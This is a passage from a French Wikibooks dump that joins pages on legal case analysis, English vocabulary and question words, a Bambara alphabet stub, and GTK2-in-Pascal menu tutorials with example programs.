Point(s) de droit === C'est là qu'on doit quitter le domaine de la lecture expliquée pour entrer dans celui de l'[[w:exégèse|exégèse]]. Le raisonnement dégagé [[#Analyse des motifs|précédemment]] ne se résume probablement pas au syllogisme judiciaire classique («La loi. '''Or''', les faits. '''Donc,''' le jugement»), sans quoi l'arrêt serait dénué de tout intérêt jurisprudentiel ! Il faut lire entre les lignes du raisonnement, afin discerner [[#Arrêt d'espèce ou arrêt de principe ?|les deux discours]] présents et mêlés en son sein. Le résultat de cette filtration est un ou plusieurs points de droit (rarement plus de deux) chacun d'eux étant formé * d'une '''question de droit''' (exemple : «[[Droit administratif/La jurisprudence/Duvignières|les circulaires réglementaires sont-elles susceptibles de recours devant le juge administratif?]]»), et * d'une '''solution''' qui apporte la réponse («oui, si elles sont impératives»). Les arguments que je juge choisit de considérer mais qu'ils rejette finalement dans sa conclusion, ou au contraire les notions qui sembleraient importantes au vu d'arrêts similaires antérieurs mais ne sont pas mentionnés, sont des indices laissés par le «professeur» (la Cour supérieure) à l'«élève» (la Cour inférieure, la doctrine, et les étudiants et professionnels du droit). À nous de repérer les signes de piste pour avancer : * si un point particulier des faits a été pris en compte par la Cour dans son raisonnement alors que les textes en vigueur n'en parlent pas (dans l'exemple ci-dessus, le fait qu'une circulaire ministérielle ait ou non un contenu de forme impérative), alors c'est un point de droit : la Cour dit en substance «vous aussi, prenez en considération cet aspect lorsque vous jugerez»; * si deux principes du droit sont considérés par la Cour et semblent contradictoires (par exemple, [[Droit administratif/La jurisprudence/Kherouaa|la liberté religieuse et la discipline scolaire]]), c'est également un point de droit : la Cour dit en substance «voici comment vous tirer de ce nid de guêpes juridique». Une fois qu'on a repéré ces subtilités dans le discours logique de la Cour, écrire sur la fiche une ou deux questions de droit en termes simples et généralisés (les anecdotes de l'espèce doivent être entièrement filtrées, ainsi «circulaire ministérielle» est devenu «circulaire administrative» peu importe son origine hiérarchique), ainsi que la réponse choisie par la cour («oui», «non», ou le plus souvent, «oui à condition que»). === Portée de la solution === === Culture juridique === [[Catégorie:Droit administratif|{{SUBPAGENAME}}]] Modèle:Droit administratif/Jurisprudence/CE contentieux 2878 41200 2006-04-29T15:52:38Z Pseudomoi 395 Conseil d'État statuant au contentieux, {{{1}}}, n° {{{2}}} <noinclude>[[Catégorie:Droit administratif|!{{SUBPAGENAME}}]]</noinclude> Anglais:Les mots interrogatifs 2880 39000 2006-03-27T22:04:16Z Greudin 1 rv == What == On emploie what pour un objet ou pour plus généralement un non-animé. On peut traduire what en français par ''quel'', ''quelle'', ''quels'' ou ''qu'est-ce que''.<br />Exemple : What is it ? ''Qu'est-ce que c'est ?'' What did you do ? ''Qu'est-ce que tu as fait ?'' What do you think about him ? ''Qu'est-ce que tu penses de lui ?'' * What peut aussi s'employer pour demander l'heure : What time is it ? ''Quelle heure est-il ?'' == Who == Who s'emploie pour une personne. On peut le traduire par ''qui''.<br /> Who is she ? ''Qui est-elle ?'' == When == When s'emploie pour demander des précisions de temps.<br />When do you arrive ? ''Quand arrives-tu ?'' When were you born ? ''Quand es-tu né ?'' == Where == Where s'emploie pour poser des questions sur un lieu. On peut le traduire par où.<br />Exemple : Where do you live ? ''Où habites-tu ?'' == Why == Why s'emploie dans une interrogation concernant la cause. On peut traduire why par pourquoi.<br />Exemple : Why have you slept ? ''Pourquoi as-tu dormi ?'' == Which == On emploie which lorsque l'on a le choix entre plusieurs possibilité ?<br />Exemple : Which of these two boys do you prefer ? ''Lequel de ces deux garçons préfères-tu ?'' == Whose== On emploie whose lors d'une interrogation sur la possession.<br />Exemple : Whose car is it ? ''A qui est la voiture ?'' == How long (durée) == <center><table WIDTH="80%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center><strong>How long ... ? = ''"pendant/depuis combien de temps ... ?"''</strong></center> </td></tr></table></center> == How ... ? (demander la santé ou les progrès de quelqu'un )== On emploie '''"how ... ?"''' lorsque l'on veut connaître la santé ou des progrès de quelqu'un ou quelque chose. <center><table WIDTH="80%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center><strong>How is ... ? = ''Comment va ... ?''</strong></center> </td></tr></table></center> '''Exemple :''' == How much ... ? et How many ... ? (combien de ... )== <center><table WIDTH="80%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center><strong>How much + nom singulier</strong></center> </td></tr></table></center> <center><table WIDTH="80%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center><strong>How many + nom pluriel</strong></center> </td></tr></table></center> == How often ...? (tous les combien ... ?) et How many times ... ? (combien de fois ... ?) == <center><table WIDTH="80%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center><strong>How often ... ? = ''"tous les combien ... ?"'''</strong></center> </td></tr></table></center> <center><table WIDTH="80%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center><strong>How many times ... ? = ''"combien de fois ... ?"'''</strong></center> </td></tr></table></center> == What ... like ? (demander une description) == On emploie '''"what ... like ?"''' lorsqu'on veut obtenir une description de quelqu'un ou de quelque chose. <center><table WIDTH="80%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center><strong>What is ... like ? = ''Comment est ... ?''</strong></center> </td></tr></table></center> '''Exemple :''' == what bite do you do ? (se présenter en langage soutenu) == Cette expression est utilisée lors de présentations très formelles. Les jeunes ne l'utilisent pas entre eux. Cette question n'attend pas de réponse, mais également la question "How do you do ?" (assortie d'une poignée de mains). <center><table WIDTH="80%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center><strong>How do you do ? = ''Enchanté (de faire votre connaissance).''</strong></center> </td></tr></table></center> '''Exemple :''' TOM: Elsa, this is Tom Martin<br /> ELSA: How do you do ?<br /> TOM: How do you do ?<br /> ''(Assortie d'une poignée de mains)'' ==How are you ? (se présenter en langage familier) == Explication... <center><table WIDTH="80%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center><strong>How are you ? = ''"Comment allez-vous ?" ou "Ça va ?" ... ''</strong></center> </td></tr></table></center> '''Exemple :''' ---- Retour [[Enseignement de l'anglais]] ---- Anglais : The body, Le corps 2881 26519 2005-12-05T17:25:47Z 82.133.3.77 /* the trunck and the neck : ''le tronc et le cou'' */ === a bone : ''un os''=== the skeleton : ''le squelette''<br />the skull : ''le crâne''<br />a rib : ''une côte''<br />the backbone ou the spine: ''la colonne vertébrale''<br />a vertebra : ''une vertèbre === the head : ''la tête'' === <table><tr><td width=50%>the mouth : ''la bouche''<br />a tooth (pl. teeth) : ''une dent (pl. dents)''<br />the lips : ''les lèvres''<br />the tongue : ''la langue''<br />the jaws : ''les machoîres''<br />the cheeks : ''les joues'' </td><td width=50%>the eyes : ''les yeux''<br />the eyebrows : ''les sourcils''<br />the eyelashes : ''les cils''<br />the eyelids : ''les paupières''<br />the nose : ''le nez''<br />the ears : ''les oreilles''<br />the forehead : ''le front''</td></tr></table> === the limbs : ''les membres'' === <table><tr><td>the arm : ''le bras''<br />the forearm : ''l'avant-bras''<br />the hand : ''la main'' <br />the elbow : ''le coude''<br />the wrist : ''le poignet''<br />the fingers : ''les doigts''<br />the thumb : ''le pouce''<br />the nails : ''les ongles''</td><td>the leg : ''la jambe''<br />the foot (pl. feet) : ''le pied''<br />the thigh : ''la cuisse''<br />the calf (pl. calves) : ''le mollet''<br />the knee : ''le genou''<br />the ankle : ''la cheville''<br />the toes : ''les orteils''<br />the heel : ''le talon''</td></tr></table> === the organs : ''les organes'' === the heart : ''le coeur''<br />the lungs : ''les poumons''<br />the brain : ''le cerveau''<br />the liver : ''le foie''<br />the stomach : ''l'estomac''<br />the bowels : ''les intestins''<br />the kidney : ''le rein''<br />the spleen : ''la rate'' === the trunck and the neck : ''le tronc et le cou'' === the back : ''le dos''<br />the belly ou the stomach : ''le ventre''<br />the chest : ''la poitrine''<br />the breasts : ''les seins''<br />the waist : ''la taille''<br />the throat : ''la gorge''<br />the nape of the nake : ''la nuque'' <br /> <br /> Retour [[Enseignement de l'anglais]] Anglais : Clothing, l'habillement 2882 43380 2006-05-29T06:46:50Z Mly 1518 /* Clothes : ''Les vêtements'' */ The clothes : ''les vêtements'' == Clothes : ''Les vêtements'' == {| border="0" |----- | anorak | ''anorak'' |----- | apron | ''tablier'' |----- | bikini | ''bikini; deux-pièces'' |----- | blazer | ''blazer'' |----- | blouse | ''chemisier'' |----- | boots | ''bottes'' |----- | boxer shorts | ''caleçon (pour hommes)'' |----- | bra | ''soutien-gorge'' |----- | cardigan | ''cardigan'' |----- | coat | ''manteau'' |----- | costume | ''costume'' |----- | dinner jacket | ''smoking (veste)'' |----- | dinner suit | ''smoking (costume)'' |----- | dress | ''robe'' |----- | dressing gown | ''robe de chambre; peignoir'' |----- | dungarees | ''salopette'' |----- | evening dress | ''robe de soirèe; tenue de soirée'' |----- | fancy dress | ''déguisement'' |----- | gym shoes | ''tennis'' |----- | sneakers | ''tennis'' |----- | high heels | ''talons hauts'' |----- | jacket | ''veste'' |----- | jersey | ''tricot'' |----- | jumper | ''pull(over)'' |----- | knickers | ''culotte; slip'' |----- | leggings | ''caleçon (pour femmes)'' |----- | leotard | ''body'' |----- | mac(kintosh) | ''imper(méable)'' |----- | miniskirt | ''mini-jupe'' |----- | nightdress, nightie | ''chemise de nuit'' |----- | outfit | ''tenue'' |----- | overall(s) | ''salopette; combinaison'' |----- | overcoat | ''manteau; pardessus'' |----- | pants | ''culotte'' |----- | panty girdle | ''gaine-culotte'' |----- | polo neck | ''col roulé'' |----- | pullover | ''pull(over)'' |----- | pyjamas | ''pyjama'' |----- | raincoat | ''imper(méable)'' |----- | sandals | ''sandales'' |----- | shirt | ''chemise'' |----- | shoes | ''chaussures'' |----- | shorts | ''short'' |----- | skirt | ''jupe'' |----- | slippers | ''pantoufles'' |----- | socks | ''chaussettes'' |----- | sports jacket | ''veste sport'' |----- | stockings | ''bas'' |----- | suit | ''costume; tailleur'' |----- | suspender belt | ''porte-jartelles'' |----- | sweater | ''pull(over); tricot'' |----- | sweatshirt | ''sweat-shirt'' |----- | swimming trunks | ''slip de bain'' |----- | swimsuit | ''maillot de bain'' |----- | teeshirt, T-shirt | ''tee-shirt'' |----- | tights | ''collants'' |----- | panty hose | ''collants'' |----- | top | ''haut'' |----- | tracksuit | ''survêtement'' |----- | trainers, training shoes | ''chaussure de sport'' |----- | trousers | ''pantalon'' |----- | (under)pants | ''slip; caleçon (pour hommes)'' |----- | underskirt | ''jupon'' |----- | underwear | ''sous-vêtements'' |----- | uniform | ''uniforme'' |----- | waistcoat | ''gilet'' |----- | wedding dress | ''robe de mariée'' |----- | wellington boots | ''bottes de caoutchouc'' |----- | a pair of shoes/boots | ''une paire de chaussures/de bottes'' |----- | a pair of trousers | ''un pantalon'' |----- | bust | ''tour de poitrine'' |----- | dressmaker | ''couturière'' |----- | figure | ''ligne ; formes'' |----- | inside leg | ''entrejambes'' |----- | length | ''longueur'' |----- | to measure | ''mesurer'' |----- | measurement | ''mesures'' |----- | off-the-peg | ''prêt-à-porter'' |----- | size | ''taille; pointure'' |----- | tailor | ''tailleur (métier)'' |----- | baggy | ''(trop) ample'' |----- | to fit | ''aller (à qqn)'' |----- | loose | ''ample'' |----- | tight | ''serré'' |----- | to try on | ''essayer'' |----- | it doesn't fit | ''ça ne me/vous va pas'' |----- | it fits well | ''ça me/vous va bien'' |----- | it's too big/small | ''c'est trops grand/petit'' |----- | what size do you take? | '' quelle taille faites-vous? |} to wear : ''porter''<br />to dress : ''s'habiller''<br />to undress : ''se déshabiller''<br />to lace up : ''lacer''<br />to try on clothes : ''essayer des vêtements'' == a shirt : ''une chemise'' == a jacket : ''une veste''<br />a waistcoat (GB), a vest (USA) : ''un gilet''<br />an anorak : ''un anorak''<br />a raincoat : ''un imperméable''<br />a coat : ''un manteau''<br />a pullover : ''un pull''<br /> a sweater : ''un sweatshirt''<br />a dinner jacket (GB), a vest (USA) : ''un smoking'' == a dress : ''une robe'' == a skirt : ''une jupe''<br />a miniskirt : ''une minijupe''<br />a blouse : ''un chemisier''<br />a tank top : ''un débardeur'' == sportswear : ''vêtements de sport'' == shorts : ''un short''<br />slacks : ''un pantalon de sport''<br />trainers (GB) : ''des baskets''<br />a two-piece swimsuit : ''un maillot de bain deux pièces''<br />swimming shorts (USA), swimming trunks (GB) : ''un maillot de bain homme'' == underwear : ''sous-vêtements'' == shorts : ''un caleçon''<br />a vest (GB), an undershirt (USA) : ''un maillot de corps''<br />briefs, pants (GB) : un slip<br />a bra : ''un soutien-gorge''<br />panties, knickers (GB) : ''un slip (de femme)''<br />a pair of tights, a pair of party hose (USA) : ''des collants''<br />stockings : ''des bas''<br />pyjamas : ''un pyjama'' == a belt : ''une ceinture'' == braces (GB) : ''des bretelles''<br />a tie : ''une cravate''<br />a hat : ''un chapeau''<br />a cap : ''une casquette''<br />a shawl : ''un châle''<br />a necklace : ''un collier''<br />an umbrella : ''un parapluie'' <br /> Retour [[Enseignement de l'anglais]] Alphabet (bambara) 2885 14439 2005-03-15T15:57:41Z Guaka 165 très petit ébauche {{bambara}} Pour le bambara on utilise l'alphabet latin avec quelques additions. {{ébauche}} Image:Programmation GTK2 en Pascal - gtk034.png 2886 14440 2005-03-15T17:46:34Z Didier 186 Exemple du programme gtk034.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk034.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkImageMenuItem 2887 14441 2005-03-15T17:49:50Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkImageMenuItem''' est un élément de menu qui permet d'afficher une image à gauche du texte. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkItem|GtkItem]] └─[[Programmation GTK2 en Pascal - GtkMenuItem|GtkMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkImageMenuItem|GtkImageMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkCheckMenuItem|GtkCheckMenuItem]] ─ [[Programmation GTK2 en Pascal - GtkRadioMenuItem|GtkRadioMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkSeparatorMenuItem|GtkSeparatorMenuItem]] └─[[Programmation GTK2 en Pascal - GtkTearoffMenuItem|GtkTearoffMenuItem]] |} == Utilisation de base == === Création === Pour créer un <code>GtkImageMenuItem</code>, il existe quatre fonctions différentes : function gtk_image_menu_item_new : PGtkWidget; function gtk_image_menu_item_new_from_stock(stock_id : Pgchar; accel_group : PGtkAccelGroup) : PGtkWidget; function gtk_image_menu_item_new_with_label(_label : Pgchar) : PGtkWidget; function gtk_image_menu_item_new_with_mnemonic(_label : Pgchar) : PGtkWidget; La première fonction crée un item sans texte ni image. La deuxième crée l'item en fonction du <code>[[Programmation GTK2 en Pascal - GtkStockItem|GtkStockItem]]</code> donné. Le texte et l'image sont donc définis par le paramètre <code>stock_id</code>. Les deux dernières fonctions ont un fonctionnement identique à celle du contrôle <code>[[Programmation GTK2 en Pascal - GtkMenuItem|GtkMenuItem]]</code>. Il faudra donc ajouter l'image soi-même. === Modification de l'image === Pour modifier l'image afficher par l'item, il existe cette fonction : procedure gtk_image_menu_item_set_image(image_menu_item : PGtkImageMenuItem; image : PGtkWidget); Le paramètre <code>image_menu_item</code> est l'item dont on veut modifier l'image, et le paramètre <code>image</code> est la nouvelle image. Et bien évidemment, pour savoir quelle image est affichée, il faut utiliser cette fonction : function gtk_image_menu_item_get_image(image_menu_item : PGtkImageMenuItem) : PGtkWidget; == Programme exemple == Nous allons créer le même menu que dans le chapitre GtkMenuItem, mais cette fois avec des images. Voilà le fichier <code>gtk034.pas</code> : program gtk034; uses glib2, gtk2; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreMenu : PGtkWidget; pMenuItemFichier : PGtkWidget; pMenuFichier : PGtkWidget; pMenuItemOuvrir : PGtkWidget; pMenuItemFermer : PGtkWidget; pMenuItemQuitter : PGtkWidget; pLabel : PGtkWidget; pImage : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk034 : Élément de menu avec image'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre de menu pBarreMenu := gtk_menu_bar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreMenu, FALSE, FALSE, 0); // Création de l'item Fichier et rattachement à la barre de menu pMenuItemFichier := gtk_menu_item_new_with_label('Fichier'); gtk_menu_shell_append(GTK_MENU_SHELL(pBarreMenu), pMenuItemFichier); // Création du menu Fichier et rattachement à l'item Fichier pMenuFichier := gtk_menu_new; gtk_menu_item_set_submenu(GTK_MENU_ITEM(pMenuItemFichier), pMenuFichier); // Création de l'item Ouvrir et rattachement au menu Fichier pMenuItemOuvrir := gtk_image_menu_item_new; pLabel := gtk_label_new('Ouvrir'); gtk_container_add(GTK_CONTAINER(pMenuItemOuvrir), pLabel); pImage := gtk_image_new_from_stock(GTK_STOCK_OPEN, GTK_ICON_SIZE_MENU); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(pMenuItemOuvrir), pImage); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuItemOuvrir); // Création de l'item Fermer et rattachement au menu Fichier pMenuItemFermer := gtk_image_menu_item_new_with_label('Fermer'); pImage := gtk_image_new_from_stock(GTK_STOCK_CLOSE, GTK_ICON_SIZE_MENU); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(pMenuItemFermer), pImage); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuItemFermer); // Création de l'item Quitter et rattachement au menu Fichier pMenuItemQuitter := gtk_image_menu_item_new_from_stock(GTK_STOCK_QUIT, NULL); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuItemQuitter); g_signal_connect(pGTKOBJECT(pMenuItemQuitter), 'activate', G_CALLBACK(@gtk_main_quit), NULL); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk034.pas</code> : [[Image:Programmation GTK2 en Pascal - gtk034.png]] {{Programmation GTK2 en Pascal - Menu}} Programmation LaTeX Typographie et mise en forme du texte 2888 35484 2006-03-02T11:21:16Z Cdang 1202 barres de nav {{LaTeX}} \documentclass{article} \begin{document} Bonjour, j'\'edite en \LaTeX~! \end{document} {{LaTeX-nav}} Image:Programmation GTK2 en Pascal - gtk035-1.png 2891 14445 2005-03-17T17:45:10Z Didier 186 Exemple du programme gtk035.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk035.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk035-2.png 2892 14446 2005-03-17T17:45:50Z Didier 186 Exemple du programme gtk035.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk035.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkCheckMenuItem 2893 14447 2005-03-17T17:46:31Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkCheckMenuItem''' est un élément de menu qui peut être coché, comme une case à cocher (<code>[[Programmation GTK2 en Pascal - GtkCheckButton|GtkCheckButton]]</code>). === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkItem|GtkItem]] └─[[Programmation GTK2 en Pascal - GtkMenuItem|GtkMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkImageMenuItem|GtkImageMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkCheckMenuItem|GtkCheckMenuItem]] ─ [[Programmation GTK2 en Pascal - GtkRadioMenuItem|GtkRadioMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkSeparatorMenuItem|GtkSeparatorMenuItem]] └─[[Programmation GTK2 en Pascal - GtkTearoffMenuItem|GtkTearoffMenuItem]] |} == Utilisation de base == === Création === Les fonctions de création sont : function gtk_check_menu_item_new : PGtkWidget; function gtk_check_menu_item_new_with_label(_label : Pgchar) : PGtkWidget; function gtk_check_menu_item_new_with_mnemonic(_label : Pgchar) : PGtkWidget; Ces fonctions étant classiques, nous n'en dirons pas plus. === Modification de l'état === Il existe plusieurs fonctions pour modifier l'état d'un <code>GtkCheckMenuItem</code> : procedure gtk_check_menu_item_set_active(check_menu_item : PGtkCheckMenuItem; is_active : gboolean); procedure gtk_check_menu_item_toggled(check_menu_item : PGtkCheckMenuItem); La première fonction modifie l'état de l'item en fonction du paramètre <code>is_active</code>. La deuxième fonction inverse tout simplement l'état de l'item. Nous disposons également d'une fonction associée pour récupérer l'état d'un <code>GtkCheckMenuItem</code> : function gtk_check_menu_item_get_active(check_menu_item : PGtkCheckMenuItem) : gboolean; === Intercepter un clic de souris === Pour savoir lorsqu'un <code>GtkCheckMenuItem</code> a été coché ou décoché, nous avons la possibilité de connecter le signal « <code>toggle</code> » qui sera émis à chaque fois que l'utilisateur modifiera l'état de l'item. == Programme exemple == Nous allons créer un menu contenant un <code>GtkCheckMenuItem</code> permettant d'afficher ou de cacher une barre d'état. Voilà le fichier <code>gtk035.pas</code> : program gtk035; uses glib2, gtk2; procedure OnMenuItemClic(APWidget : PGtkwidget; AData : pgpointer); cdecl; var pBarreEtat : PGtkWidget; Coche : gboolean; begin pBarreEtat := GTK_WIDGET(AData); // Récuperation de l'état du menu Coche := gtk_check_menu_item_get_active(GTK_CHECK_MENU_ITEM(APWidget)); // Selon le résultat, on affiche où pas la barre d'état if Coche then begin gtk_widget_show(pBarreEtat); end else begin gtk_widget_hide(pBarreEtat); end; end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreMenu : PGtkWidget; pMenuItemAffichage : PGtkWidget; pMenuAffichage : PGtkWidget; pMenuItemBarreEtat : PGtkWidget; pBarreEtat : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk035 : Élément de menu cochable'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre de menu pBarreMenu := gtk_menu_bar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreMenu, FALSE, FALSE, 0); // Création de l'item Affichage et rattachement à la barre de menu pMenuItemAffichage := gtk_menu_item_new_with_label('Affichage'); gtk_menu_shell_append(GTK_MENU_SHELL(pBarreMenu), pMenuItemAffichage); // Création du menu Affichage et rattachement à l'item Affichage pMenuAffichage := gtk_menu_new; gtk_menu_item_set_submenu(GTK_MENU_ITEM(pMenuItemAffichage), pMenuAffichage); // Création de l'item Barre d'état et rattachement au menu Affichage <nowiki>pMenuItemBarreEtat := gtk_check_menu_item_new_with_label('Barre d''état');</nowiki> gtk_check_menu_item_set_active(GTK_CHECK_MENU_ITEM(pMenuItemBarreEtat), TRUE); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuAffichage), pMenuItemBarreEtat); // Ajout de la barre d'état pBarreEtat := gtk_statusbar_new; gtk_box_pack_end(GTK_BOX(pVBox), pBarreEtat, FALSE, FALSE, 0); // Signal du menu affichage de la barre d'état g_signal_connect(pGTKOBJECT(pMenuItemBarreEtat), 'toggled', G_CALLBACK(@OnMenuItemClic), pBarreEtat); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk035.pas</code> après le lancement après avoir cliqué sur le menu « Affichage » et placer le curseur de la souris au dessus de « Barre d'état » : [[Image:Programmation GTK2 en Pascal - gtk035-1.png]] Puis après avoir cliqué sur « Barre d'état » et à nouveau resélectionner le menu « Affichage » : [[Image:Programmation GTK2 en Pascal - gtk035-2.png]] {{Programmation GTK2 en Pascal - Menu}} [[Catégorie:Programmation GTK2 en Pascal|GtkCheckMenuItem]] Catégorie:Programmation GTK2 en Pascal 2894 14448 2005-03-17T17:47:09Z Didier 186 Index des classes et des contrôles de Gtk+. Image:Programmation GTK2 en Pascal - gtk036-1.png 2895 14449 2005-03-17T18:21:20Z Didier 186 Exemple du programme gtk036.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk036.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk036-2.png 2896 14450 2005-03-17T18:21:50Z Didier 186 Exemple du programme gtk036.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk036.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkRadioMenuItem 2897 14451 2005-03-17T18:22:52Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkRadioMenuItem''' est un élément de menu qui est l'équivalent d'un bouton radio (<code>[[Programmation GTK2 en Pascal - GtkRadioButton|GtkRadioButton]]</code>). === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkItem|GtkItem]] └─[[Programmation GTK2 en Pascal - GtkMenuItem|GtkMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkImageMenuItem|GtkImageMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkCheckMenuItem|GtkCheckMenuItem]] ─ [[Programmation GTK2 en Pascal - GtkRadioMenuItem|GtkRadioMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkSeparatorMenuItem|GtkSeparatorMenuItem]] └─[[Programmation GTK2 en Pascal - GtkTearoffMenuItem|GtkTearoffMenuItem]] |} == Utilisation de base == === Création === Tout comme pour le contrôle <code>[[Programmation GTK2 en Pascal - GtkRadioButton|GtkRadioButton]]</code>, Gtk+ utilise les listes simplement chaînées. Pour créer le groupe ainsi que le premier bouton, il faut utiliser une des ces fonctions : function gtk_radio_menu_item_new(group : PGSList) : PGtkWidget; function gtk_radio_menu_item_new_with_label(group : PGSList; _label : Pgchar) : PGtkWidget; function gtk_radio_menu_item_new_with_mnemonic(group : PGSList; _label : Pgchar) : PGtkWidget; Pour créer le premier élément du groupe, il faut que le paramètre <code>group</code> soit égal à <code>NULL</code>. Par contre pour ajouter des éléments supplémentaires, ce paramètre est obligatoire. Il faudra donc récupérer sa valeur avec cette fonction : function gtk_radio_menu_item_get_group(radio_menu_item : PGtkRadioMenuItem) : PGSList; Cette fonction doit être utilisée avant chaque ajout d'élément. Cependant pour éviter cette étape, GTK nous offre trois autres fonctions d'ajout : function gtk_radio_menu_item_new_from_widget(group : PGtkRadioMenuItem) : PGtkWidget; function gtk_radio_menu_item_new_with_label_from_widget(group : PGtkRadioMenuItem; _label : Pgchar) : PGtkWidget; function gtk_radio_menu_item_new_with_mnemonic_from_widget(group : PGtkRadioMenuItem; _label : Pgchar) : PGtkWidget; == Programme exemple == Nous allons créer un menu permettant le choix entre trois valeurs différentes, la valeur sélectionnée étant affichée dans un label. Voilà le fichier <code>gtk036.pas</code> : program gtk036; uses glib2, gtk2; procedure OnMenuItemClic(APWidget : PGtkwidget; AData : pgpointer); cdecl; var TexteDuMenu : pgchar; Texte : pgchar; begin // Récuperation du texte du menu cliqué TexteDuMenu := gtk_label_get_text(GTK_LABEL(GTK_BIN(APWidget)^.Child)); Texte := g_strdup_printf('%s est actif', [TexteDuMenu]); // Affichage du texte dans le label gtk_label_set_text(GTK_LABEL(AData), Texte); 